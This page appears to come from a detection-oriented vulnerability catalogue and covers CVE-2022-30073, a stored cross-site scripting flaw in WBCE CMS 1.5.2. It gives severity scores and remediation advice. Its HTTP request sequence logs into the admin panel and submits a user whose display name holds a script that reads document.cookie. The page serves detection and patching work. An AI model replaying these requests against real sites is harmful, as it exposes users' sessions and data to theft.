🔙 목록으로 돌아가기

CVE-2022-30073: WBCE CMS 1.5.2 - Cross-Site Scripting

TitleWBCE CMS 1.5.2 - Cross-Site Scripting
Authorarafatansari
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
RemediationUpgrade to a patched version of WBCE CMS or apply the vendor-supplied patch to mitigate this vulnerability.
CVSS Score5.4
EPSS Score0.17607
CVE IDCVE-2022-30073
CWE IDCWE-79
Tags cve2022 cve wbcecms xss wbce vuln

🔍 Vulnerability Description

WBCE CMS 1.5.2 contains a stored cross-site scripting vulnerability via \admin\user\save.php Display Name parameters.

🌐 HTTP Request

POST /admin/login/index.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Connection: close
Content-Length: 141
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

url=&username_fieldname=username_axh5kevh&password_fieldname=password_axh5kevh&username_axh5kevh=YWG9eN&password_axh5kevh=wVdPxs&submit=Login
GET /admin/users/index.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
POST /admin/users/index.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/ Firefox/3.6.19
Connection: close
Content-Length: 267
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

formtoken=4BP7Fg&user_id=&username_fieldname=username_tep83j9z&username_tep83j9z=testme2&password=temp1234&password2=temp1234&display_name=%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&email=testme2%40abc.com&home_folder=&groups%5B%5D=1&active%5B%5D=1&submit=
GET /admin/users/index.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/ Firefox/3.6.15
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-30073.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-30073.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A